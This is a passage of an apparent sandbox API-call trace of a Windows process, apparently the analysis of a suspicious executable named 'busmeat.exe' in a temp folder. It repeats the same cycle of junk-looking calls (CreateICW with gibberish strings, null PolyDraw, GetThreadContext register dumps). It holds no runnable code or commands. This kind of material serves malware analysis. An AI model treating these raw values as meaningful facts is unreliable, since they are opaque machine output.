[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.251] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.252] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.252] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.252] GetConsoleCP () returned 0x0
	[0066.252] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.252] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.253] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.253] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.253] GetConsoleCP () returned 0x0
	[0066.253] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.253] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.254] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.254] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.254] GetConsoleCP () returned 0x0
	[0066.254] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 